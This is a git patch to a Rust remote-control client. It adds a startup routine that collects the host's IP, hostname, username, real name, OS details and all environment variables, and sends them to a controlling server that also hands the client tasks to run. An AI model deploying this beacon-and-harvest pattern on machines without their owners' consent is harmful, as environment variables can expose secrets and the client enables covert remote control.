From 6bdc5a7c6d9d986115e4e7a5214234c10ce123b2 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Sun, 14 Sep 2025 21:41:15 +0800 Subject: feat: client initialization fetches basic infos refactor: connector manager -> client manager, similar concept, different mentality note: if custom ip fetcher fails then it defaults to ifconfig.me --- Cargo.lock | 40 +++++++++++++ Cargo.toml | 2 + src/client/client.rs | 74 ++++++++++++++++++++++++ src/client/connector.rs | 29 +++++++--- src/client/connector/connectors/httpconnector.rs | 24 +++++++- src/client/connector/manager.rs | 15 ----- src/client/main.rs | 11 +++- 7 files changed, 167 insertions(+), 28 deletions(-) create mode 100644 src/client/client.rs delete mode 100644 src/client/connector/manager.rs diff --git a/Cargo.lock b/Cargo.lock index 0a27afe..05e92a5 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -221,6 +221,16 @@ dependencies = [ "slab", ] +[[package]] +name = "gethostname" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc257fdb4038301ce4b9cd1b3b51704509692bb3ff716a410cbd07925d9dae55" +dependencies = [ + "rustix", + "windows-targets", +] + [[package]] name = "getrandom" version = "0.2.16" @@ -561,6 +571,17 @@ version = "0.2.175" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6a82ae493e598baaea5209805c49bbf2ea7de956d50d7da0da1164f9c6d28543" +[[package]] +name = "libredox" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "416f7e718bdb06000964960ffa43b4335ad4012ae8b99060261aa4a8088d5ccb" +dependencies = [ + "bitflags", + "libc", + "redox_syscall", +] + [[package]] name = "linux-raw-sys" version = "0.9.4" @@ -790,10 +811,12 @@ dependencies = [ name = "remote-control-rs" version = "0.1.0" dependencies = [ + "gethostname", "reqwest", "signal-hook", "tokio", "url", + "whoami", ] [[package]] @@ -1326,6 +1349,12 @@ dependencies = [ "wit-bindgen-rt", ] +[[package]] +name = "wasite" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8dad83b4f25e74f184f64c43b150b91efe7647395b42289f38e50566d82855b" + [[package]] name = "wasm-bindgen" version = "0.2.100" @@ -1407,6 +1436,17 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "whoami" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d4a4db5077702ca3015d3d02d74974948aba2ad9e12ab7df718ee64ccd7e97d" +dependencies = [ + "libredox", + "wasite", + "web-sys", +] + [[package]] name = "windows-link" version = "0.1.3" diff --git a/Cargo.toml b/Cargo.toml index ef32d82..3d1f892 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -8,6 +8,8 @@ tokio = { version = "1", features = ["full"] } reqwest = { version = "0.12", features = ["blocking"] } url = { version = "2" } signal-hook = "0.3.18" +gethostname = "1.0.2" +whoami = "1.6.1" [[bin]] name = "client" diff --git a/src/client/client.rs b/src/client/client.rs new file mode 100644 index 0000000..2a5f595 --- /dev/null +++ b/src/client/client.rs @@ -0,0 +1,74 @@ +use gethostname::gethostname; +use std::net::IpAddr; +use whoami::{DesktopEnv, Language}; + +use crate::connector::Connection; + +pub struct Client { + pub connector: C, + ip: Option, + hostname: String, + device_name: String, + os: &'static str, + cpu_arch: String, + distro: String, + desktop_env: DesktopEnv, + username: String, + realname: String, + langs: Option>, + env: Vec<(String, String)>, +} + +impl std::fmt::Display for Client { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!( + f, + "IP: {:?}\n\ + Hostname: {}\n\ + Device Name: {}\n\ + OS: {}\n\ + CPU Architecture: {}\n\ + Distro: {}\n\ + Desktop Environment: {:?}\n\ + Username: {}\n\ + Real Name: {}\n\ + Languages: {:?}\n\ + Environment Variables: {:?}\n", + self.ip, + self.hostname, + self.device_name, + self.os, + self.cpu_arch, + self.distro, + self.desktop_env, + self.username, + self.realname, + self.langs, + self.env + ) + } +} + +impl Client { + pub fn new(connector: C) -> Self { + let c = Self { + ip: connector.get_ip(), + connector, + hostname: gethostname().into_string().unwrap_or_default(), + device_name: whoami::devicename(), + os: std::env::consts::OS, + cpu_arch: std::env::consts::ARCH.to_string(), + distro: whoami::distro(), + desktop_env: whoami::desktop_env(), + username: whoami::username(), + realname: whoami::realname(), + langs: match whoami::langs() { + Ok(it) => Some(it.collect()), + Err(_) => None, + }, + env: std::env::vars().collect(), + }; + c.connector.init(&c); + c + } +} diff --git a/src/client/connector.rs b/src/client/connector.rs index b111fc5..c7daf96 100644 --- a/src/client/connector.rs +++ b/src/client/connector.rs @@ -1,16 +1,11 @@ pub mod connectors; -pub mod manager; -use std::{thread::sleep, time::Duration}; +use std::{net::IpAddr, thread::sleep, time::Duration}; -use crate::executor::Executor; +use crate::{client::Client, executor::Executor}; use remote_control_rs::tasks::IntoTask; -#[derive(Debug)] -pub enum Result { - Ok(T), - Err(E), -} +pub type Result = std::result::Result; pub trait Connection { type Ok: std::fmt::Display + IntoTask + AsRef = String; @@ -20,14 +15,29 @@ pub trait Connection { fn update(&self) -> Result; // None if no update(content is same) // TODO: queue failed ntfy + // TODO: impl type of data fn ntfy(&self, data: String) -> Result; fn is_prev(&mut self, str: &Self::Ok) -> bool; + fn get_ip(&self) -> Option; + fn force_network(&mut self) { _ = Executor::new("network", ["on".to_string()]); } + fn init(&self, c: &Client) + where + Self: std::marker::Sized, + { + self.ntfy(format!( + r#"New client: + {c} + "#, + )) + .unwrap(); + } + fn reinit(&mut self) { sleep(Duration::from_millis(500)); self.force_network(); @@ -59,7 +69,8 @@ pub trait Connection { .unwrap() .clone() .unwrap(), - ); //.unwrap() + ) + .unwrap(); } Result::Err(e) => { #[cfg(debug_assertions)] diff --git a/src/client/connector/connectors/httpconnector.rs b/src/client/connector/connectors/httpconnector.rs index 0b9d590..8052b25 100644 --- a/src/client/connector/connectors/httpconnector.rs +++ b/src/client/connector/connectors/httpconnector.rs @@ -11,18 +11,28 @@ pub struct HTTPConnector { network_updater: Executor, pull_url: Url, ntfy_url: Url, + ip_getter_url: Url, client: Client, prev: ::Ok, } impl HTTPConnector { - pub fn new(pull_url: &str, ntfy_url: &str) -> std::result::Result { + pub fn new( + pull_url: &str, + ntfy_url: &str, + ip_getter_url: &str, + ) -> std::result::Result { + // TODO: proper type assert_eq!(TASKS[2].name, "network"); Ok(Self { network_updater: Executor::new(&TASKS[2], ["on".to_string()]).unwrap(), prev: String::new(), pull_url: Url::parse(pull_url)?, ntfy_url: Url::parse(ntfy_url)?, + ip_getter_url: match Url::parse(ip_getter_url) { + Ok(url) => url, + Err(_) => Url::parse((pull_url.to_string() + ip_getter_url).as_str())?, + }, client: Client::new(), }) } @@ -96,4 +106,16 @@ impl Connection for HTTPConnector { fn force_network(&mut self) { _ = self.network_updater.run(); } + + fn get_ip(&self) -> Option { + match self.handle_response(|| self.client.get(self.ip_getter_url.as_str()).send()) { + Result::Ok(ip) => Some(ip.parse().ok()?), + Result::Err(_) => { + match self.handle_response(|| self.client.get("ifconfig.me").send()) { + Ok(ip) => Some(ip.parse().ok()?), + Err(_) => None, + } + } + } + } } diff --git a/src/client/connector/manager.rs b/src/client/connector/manager.rs deleted file mode 100644 index ff52daf..0000000 --- a/src/client/connector/manager.rs +++ /dev/null @@ -1,15 +0,0 @@ -use crate::connector::Connection; - -pub struct ConnectorManager { - connector: C, -} - -impl ConnectorManager { - pub fn new(connector: C) -> Self { - Self { connector } - } - - pub fn enter_loop(&mut self) { - self.connector.r#loop(); - } -} diff --git a/src/client/main.rs b/src/client/main.rs index 9f922e0..0dc1e53 100644 --- a/src/client/main.rs +++ b/src/client/main.rs @@ -1,9 +1,13 @@ -#![feature(associated_type_defaults, never_type)] +#![allow(incomplete_features)] +#![feature(associated_type_defaults, never_type, lazy_type_alias)] -use crate::connector::{connectors::httpconnector::HTTPConnector, manager::ConnectorManager}; +use crate::client::Client; +use crate::connector::Connection; +use crate::connector::connectors::httpconnector::HTTPConnector; use signal_hook::consts::signal::*; use signal_hook::iterator::Signals; +pub(crate) mod client; pub(crate) mod connector; pub(crate) mod executor; @@ -35,5 +39,6 @@ fn main() { ]); // discard err let ip = "http://127.0.0.1:8080"; - ConnectorManager::new(HTTPConnector::new(ip, ip).unwrap()).enter_loop(); + let mut client = Client::new(HTTPConnector::new(ip, ip, "/").unwrap()); + client.connector.r#loop(); } -- cgit v1.2.3